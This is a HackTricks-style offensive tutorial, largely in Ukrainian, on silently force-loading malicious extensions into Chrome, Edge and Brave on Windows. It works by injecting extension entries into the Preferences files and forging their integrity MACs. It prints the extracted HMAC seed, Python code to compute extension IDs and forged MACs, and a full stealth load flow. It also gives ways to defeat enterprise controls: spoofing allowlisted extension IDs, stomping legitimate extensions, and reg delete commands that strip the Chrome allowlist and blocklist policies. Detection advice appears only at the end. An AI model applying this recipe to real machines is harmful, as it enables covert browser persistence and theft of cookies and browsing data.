Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Стелс post-exploitation technique для force-load arbitrary extensions у Chromium-based browsers на Windows шляхом редагування Preferences/Secure Preferences користувача та підробки дійсних HMACs для змінених вузлів. Працює проти Chrome/Chromium, Edge і Brave. Спостерігалось, що застосовно для Chromium 130–139 на момент публікації. Простий disk write primitive у victim profile достатній, щоб зберегти full-privileged extension без command-line flags або user prompts.
Ключова ідея: Chromium зберігає стан розширень для кожного користувача в JSON preferences file і захищає його HMAC-SHA256. Якщо ви обчислите дійсні MACs з використанням браузерного embedded seed і запишете їх поруч із вашими injected nodes, браузер прийме і активує ваш extension entry.
Де зберігається стан розширення (Windows)
- Chrome профіль, не приєднаний до домену:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (містить кореневий "super_mac").
- Chrome профіль, приєднаний до домену:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Ключові вузли, що використовує Chromium:
- extensions.settings.<extension_id> → вбудований manifest/metadata для запису розширення
- protection.macs.extensions.settings.<extension_id> → HMAC для цього JSON blob
- Chromium ≥134: extensions.ui.developer_mode (boolean) має бути присутнім і MAC‑signed для активації unpacked extensions
Спрощена схема (ілюстративно):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Примітки:
- Edge/Brave використовують подібні структури. Значення protection seed може відрізнятися (у деяких збірках спостерігалося, що Edge/Brave використовують null/інший seed).
Ідентифікатори розширень: шлях проти key і як зробити їх детермінованими
Chromium отримує ID розширення таким чином:
- Паковане/підписане розширення: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- Непаковане (немає key у manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
Щоб зберегти стабільний ID між хостами, вбудуйте фіксований base64 DER public key у manifest.json під "key". ID буде похідним від цього ключа замість шляху інсталяції.
Утиліта для генерації детермінованого ID та пари ключів:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Додайте згенерований public key до вашого manifest.json, щоб зафіксувати ID:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Forging Preferences integrity MACs (core bypass)
Chromium захищає налаштування за допомогою HMAC‑SHA256 над "path" + серіалізованим JSON-значенням кожного вузла. Насіння HMAC вбудоване в resources.pak браузера і залишалося дійсним до Chromium 139.
Екстрагуйте seed за допомогою GRIT pak_util та знайдіть контейнер seed (file id 146 у протестованих збірках):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Обчислюйте MACs (у верхньому регістрі шістнадцяткового формату) як:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Мінімальний приклад на Python:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Запишіть значення у:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Відмінності між браузерами: у Microsoft Edge та Brave seed може бути null або іншим. Структура HMAC залишається та сама; відповідно підлаштуйте seed.
Поради щодо реалізації
- Використовуйте саме ту JSON-серіалізацію, яку використовує Chromium при обчисленні MACs (компактний JSON без пробілів практично безпечний; сортування ключів може допомогти уникнути проблем із порядком).
- Переконайтеся, що extensions.ui.developer_mode існує і підписаний у Chromium ≥134, інакше ваш unpacked entry не активується.
Повний безшумний потік завантаження (Windows)
- Згенеруйте детерміністичний ID і вбудуйте "key" у manifest.json; підготуйте unpacked MV3 extension з потрібними дозволами (service worker/content scripts)
- Створіть extensions.settings.
, вбудувавши manifest і мінімальні install metadata, потрібні Chromium (state, path for unpacked тощо) - Витягніть HMAC seed з resources.pak (file 146) і обчисліть два MACs: один для вузла settings і один для extensions.ui.developer_mode (Chromium ≥134)
- Запишіть сформовані вузли і MACs у Preferences/Secure Preferences профілю цілі; наступний запуск автоматично активує ваше extension із повними задекларованими привілеями
Обхід корпоративних контролів
- Whitelisted extension hash spoofing (ID spoofing)
- Встановіть дозволений Web Store extension і запишіть його ID
- Отримайте його public key (наприклад, через chrome.runtime.getManifest().key у background/service worker або шляхом отримання/парсингу його .crx)
- Встановіть цей key як manifest.key у вашому зміненому extension, щоб відтворити той самий ID
- Зареєструйте запис у Preferences і підпишіть MACs → ExtensionInstallAllowlist перевірки, що збігаються лише за ID, будуть обійдені
-
Extension stomping (ID collision precedence)
-
Якщо локальний unpacked extension має той самий ID, що й встановлений Web Store extension, Chromium віддає перевагу unpacked. Це фактично замінює легітимний extension у chrome://extensions, зберігаючи довірений ID. Перевірено на Chrome та Edge (наприклад, Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Chrome/Edge policies знаходяться під HKCU\Software\Policies*
-
Маючи права admin, видаліть/змініть ключі політик перед записом ваших записів, щоб уникнути блокувань:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Шумний fallback: завантаження з командного рядка
У Chromium ≥137 для --load-extension також потрібно передавати:
--disable-features=DisableLoadExtensionCommandLineSwitch
Цей підхід широко відомий і відстежується (наприклад, EDR/DFIR; використовується commodity malware, як Chromeloader). Preference MAC forging є більш прихованим.
Related flags and more cross‑platform tricks are discussed here:
Операційний вплив
Після прийняття розширення запускається з оголошеними permissions, що дозволяє DOM доступ, request interception/redirects, доступ до cookie/storage та screenshot capture — фактично in‑browser code execution та стійку user‑profile persistence. Віддалене розгортання через SMB або інші канали є простим, оскільки активація керується даними через Preferences.
Виявлення та жорсткіші налаштування
- Моніторити non‑Chromium процеси, які записують у Preferences/Secure Preferences, особливо нові вузли під extensions.settings у парі з protection.macs entries
- Повідомляти про несподіване переключення extensions.ui.developer_mode та про HMAC‑valid, але непідтверджені extension entries
- Перевіряти HKCU/HKLM Software\Policies на предмет підміни; примусово застосовувати політики через device management/Chrome Browser Cloud Management
- Віддавати перевагу forced‑install з магазину зі verified publishers замість allowlists, що співпадають лише за extension ID
References
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.